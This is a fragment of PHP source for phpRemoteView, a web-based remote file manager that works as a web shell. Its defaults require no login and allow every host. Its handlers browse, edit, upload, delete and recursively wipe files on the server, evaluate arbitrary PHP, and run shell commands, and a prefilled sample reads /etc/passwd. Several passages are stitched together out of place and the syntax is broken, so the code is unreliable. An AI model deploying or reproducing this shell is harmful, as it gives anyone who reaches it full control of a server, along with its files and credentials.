tags, thanks A.Voropay
*
* 2003.04.22 read first 64Kb of null-size file (example: /etc/zero),
* thanks Anight
* add many functions/converts: md5, decode md5 (pass crack),
* date/time, base64, translit, russian charsets
* fix bug: read session files
*
* 2002.08.24 new design and images
* many colums in panel
* sort & setup panel
* dir tree
* base64 encoding
* character map
* HTTP authentication with login/pass
* IP-address authentication with allow hosts
*
* --version3--
* 2002.08.10 add multi language support (english and russian)
* some update
*
* 2002.08.05 new: full windows support
* fix some bugs, thanks Jeremy Flinston
*
* 2002.07.31 add file upload for create files
* add 'direcrory commands'
* view full info after safe_mode errors
* fixed problem with register_glogals=off in php.ini
* fixed problem with magic quotes in php.ini (auto strip slashes)
*
* --version2--
* 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands
* add panel 'TOOLS': eval php-code and run shell commands
* add copy/edit/create file (+panel 'EDIT')
* add only-read mode (disable write/delete and PHP/Shell)
*
* 2002.01.19 add delete/touch/clean/wipe file
* add panel 'INFO', view a/c/m-time, hexdump view
* add session file view mode (link 'SESSION').
*
* 2002.01.12 first version!
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
///////////////////////////////// S E T U P ///////////////////////////////////
$version="2003-10-23";
$hexdump_lines=8; // lines in hex preview file
$hexdump_rows=24; // 16, 24 or 32 bytes in one line
$mkdir_mode=0755; // chmode for new dir ('MkDir' button)
$maxsize_fread=65536; // read first 64Kb from any null-size file
// USER ACCESS //
$write_access=true; // true - user (you) may be write/delete files/dirs
// false - only read access
$phpeval_access=true; // true - user (you) may be execute any php-code
// false - function eval() disable
$system_access=true; // true - user (you) may be run shell commands
// false - function system() disable
// AUTHORIZATION //
$login=false; // Login & password for access to this programm.
$pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd";
// Type 'login=false' for disable authorization.
$host_allow=array("*"); // Type list of your(allow) hosts. All other - denied.
// Example: $host_allow=array("127.0.0.*","localhost")
///////////////////////////////////////////////////////////////////////////////
$tmp=array();
foreach ($host_allow as $k=>$v)
$tmp[]=str_replace("\\*",".*",preg_quote($v));
$s="!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR"))))
exit("
".mm("Sorry, this programm run in read-only mode.")."
".mm("For full access: write")." `\$write_access=true;`
".mm("in this php-file").".
");
}
function ob() {
global $obb_flag, $obb;
if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
if (function_exists("ob_start")) {
if ($GLOBALS['obb_flag']) ob_end_clean();
ob_start();
$GLOBALS['obb_flag']=1;
}
}
function obb() {
global $obb;
if (function_exists("ob_start")) {
$obb=ob_get_contents();
ob_end_clean();
$obb="
".mm("Reason").":
$obb
";
$GLOBALS['obb_flag']=0;
}
}
function sizeparse($size) {
return strrev(preg_replace("!...!","\\0 ",strrev($size)));
}
function jsval($msg) {
$msg=str_replace("\\","\\\\",$msg);
$msg=str_replace("\"","\\\"",$msg);
$msg=str_replace("'","\\'",$msg);
return '"'.$msg.'",';
}
///////////////////////////////////////////////////////////////////////////
switch($c) {
// listing
case "l":
echo $GLOBALS['html'];
if (!realpath($d)) die("".mm("Error path").". ".mm("Click here for start").".");
//up($d);
ob();
$di=dir($d);
obb();
$dirs=array();
$files=array();
if (!$di) exit("<<< ".mm("up directory")." >>>
".
"".mm("access denied").": $obb");
while (false!==($name=$di->read())) {
if ($name=="." || $name=="..") continue;
if (@is_dir($d.$name)) {
$dirs[]=strval($name);
$fstatus[$name]=0;
}
else {
$files[]=strval($name);
$fstatus[$name]=1;
}
$fsize[$name]=@filesize($d.$name);
$ftype[$name]=@filetype($d.$name);
if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; }
$fperms[$name]=@fileperms($d.$name);
$fmtime[$name]=@filemtime($d.$name);
$fatime[$name]=@fileatime($d.$name);
$fctime[$name]=@filectime($d.$name);
$fowner[$name]=@fileowner($d.$name);
$fgroup[$name]=@filegroup($d.$name);
if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok))
$fext[$name]=strtolower($ok[1]);
else
$fext[$name]="";
}
$di->close();
$listsort=array();
if (count($dirs))
foreach ($dirs as $v) {
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "t": case "s": case "n": $listsort[$v]=strtolower($v); break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;
}
}
}
$names=$listsort;
//echo "
";print_r($names);
if ($cc[1]) arsort($names); else asort($names);
//echo "
";print_r($names);
$listsort=array();
if (count($files))
foreach ($files as $v) {
$v=strval($v);
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "n": $listsort[$v]=strtolower($v); break;
case "t": $listsort[$v]=$ftype[$v]; break;
case "s": $listsort[$v]=$fsize[$v]; break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;
}
}
}
//echo "
DIRS:"; print_r($names);
if ($cc[1]) arsort($listsort); else asort($listsort);
//$names=array_merge($names,$listsort);
foreach ($listsort as $k=>$v) $names[$k]=$v;
//echo "
";
dir_tree($d);
break;
case "delete":
if (!$write_access) exitw();
if (!isset($c2)) exit("err# delete 1");
if (!isset($confirm) || strlen($confirm)<3) exit("".mm("Confirm not found (go back and set checkbox)")."");
echo "<<<".mm("back to directory")." >>>
";
if (!isset($d) || !isset($f) || !@file_exists($d.$f) || !@realpath($d.$f))
exit("".mm("Delete cancel - File not found")."");
if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm))
exit(mm("Do you want delete this script (phpRemoteView) ???")."
";
echo "".mm("DELETE")." ".mm("DIR")." $df ... ";
rmdir("$df/$file");
}
if (!isset($c2)) exit("error dirdelete 1");
if (!isset($confirm)) exit("".mm("Confirm not found (go back and set checkbox)")."!");
$df="$d";
switch ($c2) {
case "files":
echo "
".mm("Deleting all files in")." $df ..
";
if ($dir=opendir($df)) {
while (($file=readdir($dir))!==false) {
if ($file=="." || $file=="..") continue;
if (is_dir($df.$file)) {
echo ">$file ".mm("skip").": ".filetype($df.$file)." ";
}
elseif (is_file($df.$file)) {
echo "$file ".mm("deleting")."...";
unlink($df.$file);
echo " ";
}
else {
echo "$file ".mm("skip").": ".filetype($df.$file)." ";
}
}
}
closedir($dir);
$ref="$self?c=l&d=".urlencode($d);
break;
case "dir":
echo "
".mm("Deleting all dir/files (recursive) in")." $df ...
";
break;
case "e": // edit
if (!$write_access) exitw();
if (!@realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found")."");
echo $GLOBALS['html'];
up($d,$f);
echo "<<<".mm("back to directory")." >>>";
up_link($d,$f);
$msg="";
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (".mm("ONLY READ ACCESS (don't edit!)").")";
else fclose($fi);
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (".mm("Can't READ file - access denied (don't edit!)").")";
else fclose($fi);
if ($msg=="") $msg="(".mm("full read/write access").")";
echo "
".mm("EDIT FILE")." $msg
";
if (!$fi=@fopen($d.$f,"rb")) exit("".mm("can't open, access denied")."");
echo "
";
break;
case "e_submit":
if (!$write_access) exitw();
if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found");
if (!isset($text)) exit("err# e_submit 1");
if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
if (!$fi=@fopen($d.$f,"w+")) exit("access denied");
fwrite($fi,$text);
fclose($fi);
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo "SAVE DONE (go back)!";
break;
case "newfile_submit":
if (!$write_access) exitw();
if (!isset($text) || !isset($df)) exit("err# newfile_submit 1");
if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]");
fwrite($fi,$text);
fclose($fi);
Header("Location: $self?c=l&d=".urlencode(dirname($df)));
echo "SAVE NEW FILE DONE (go back)!";
break;
case "fileupload_submit":
if (!$write_access) exitw();
if (!isset($df)) exit("err# newfile_submit 1");
if (!isset($df3)) exit("err# newfile_submit 2");
$fname="";
if (isset($df2)) {
if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) {
exit("Upload failed: can't detect file name");
}
$fname=$ok[1];
}
else {
$fname=$df3;
}
if ($fname=="")
exit("".mm("You mast checked 'create file name automatic' OR typed file name!")."");
if (isset($df4)) $fname=strtolower($fname);
echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']." ";
echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']." ";
echo "File size: ".$HTTP_POST_FILES['userfile']['size']." ";
if ($df[strlen($df)-1]!="/") $df.="/";
echo "".mm("SAVING TO").": $df$fname
";
ob();
$ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname");
obb();
if (!$ok) exit("".mm("Sorry, access denied")." $obb");
if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
Header("Location: $ref");
echo "NEW FILE SAVED";
break;
case "newdir_submit":
if (!$write_access) exitw();
if (!isset($df)) exit("err# newdir_submit 1");
ob();
if (!mkdir($df,$mkdir_mode)) {
obb();
exit("Access denied $obb");
}
obb();
if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
Header("Location: $ref");
echo "Go to new directory!";
break;
case "t":
echo "
";
if (!$write_access) exitw();
error_reporting(2038);
if (!isset($php)) {
$php="/* line 1 */\n\n// ".mm("for example, uncomment next line").":\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/* line 8 */";
$skipphp=1;
$pre='checked';
$nlbr='';
$xmp='';
$htmls='checked';
}
echo "".mm("Eval PHP code")." (".mm("don't type")." \"<?\" ".mm("and")." \"?>\")
";
if (!isset($shell)) $skipshell=1;
if (!isset($skipphp)) {
echo "
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
if ($pre<>'') echo "
";
if ($xmp<>'') echo "";
if ($nlbr<>'' || $htmls<>'') {
ob_start();
}
if ($phpeval_access) eval($php);
else die("Sorry, function eval() disabled.");
if ($nlbr<>'' || $htmls<>'') {
$tmp=ob_get_contents();
ob_end_clean();
if ($htmls<>'') $tmp=htmlspecialchars($tmp);
if ($nlbr<>'') $tmp=nl2br($tmp);
echo $tmp;
}
if ($xmp<>'') echo "";
if ($pre<>'') echo "